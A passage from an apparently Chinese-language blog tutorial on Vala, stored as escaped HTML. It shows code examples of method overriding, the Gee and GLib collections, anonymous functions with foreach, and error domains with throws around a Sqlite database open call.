class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;don\u0026#39;t forget about me\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eOverridePrint\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Mind the gap\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 重载函数,覆盖 virtual 的默认实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eoverride\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Override\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNormalPrint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoverridden\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOverridePrint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enormal\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoverridden\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"gee\"\u003eGee\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Libgee\" target=\"_blank\" rel=\"noopener\"\u003eGee\u003c/a\u003e 相当于 C++ 里面的 STL 。我对这个了解不多,先把官方的示例贴上来:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/GeeSamples\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/GeeSamples - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e实际上 GLib 已经实现了很多的数据结构,但我个人建议 Gee,功能比 Glib 本身有的更丰富,但是编程的时候需要添加 Gee 库。 \u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eGee\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eGlib 中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eArray\u0026lt;类型\u0026gt;:变长数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eList\u0026lt;类型\u0026gt;:双向列表\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGee中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSet\u0026lt;类型\u0026gt;:无重复集合\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eHashMap\u0026lt;类型1,类型2\u0026gt;:哈希字典\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体用法请参阅相关文档和示例,链接给完了,我溜了~\u003c/p\u003e\n\u003ch2 id=\"迭代匿名函数\"\u003e迭代,匿名函数\u003c/h2\u003e\n\u003cp\u003e首先是匿名函数,很简单:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e函数形参\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"err\"\u003e函数体语句\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e函数形参\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"err\"\u003e一条语句\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e一般用于函数作形参的时候,临时写一个简单的。比如下面那个情况。\u003c/p\u003e\n\u003cp\u003e还有迭代,有些预先定义好的数据结构都支持迭代,使用的时候使用 \u003ccode\u003eforeach\u003c/code\u003e 方法就好。比如说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// foreach 方法需要一个函数,这里面的就是匿名函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_string\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"异常处理和空值\"\u003e异常处理和空值\u003c/h2\u003e\n\u003cp\u003e先写出一个错误空间,说明这是啥大类的错误,里面可以细分。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eerrordomain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCOULDNT_OPEN\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEXECUTION_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePREPARATION_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINVALID_GAME\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNOT_FOUND\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e写函数/方法的时候,可以加入 \u003ccode\u003ethrows\u003c/code\u003e 关键字,注明会抛出啥错误。里面需要抛出错误的时候,使用 \u003ccode\u003ethrow\u003c/code\u003e 语句抛出。下面是一个例子:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 说明这个函数会抛出 DatabaseError 错误\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eNAME_OF_DB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话,先新建一个错误类,里面写的是具体内容,然后抛出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCOULDNT_OPEN\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Cannot create database: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e 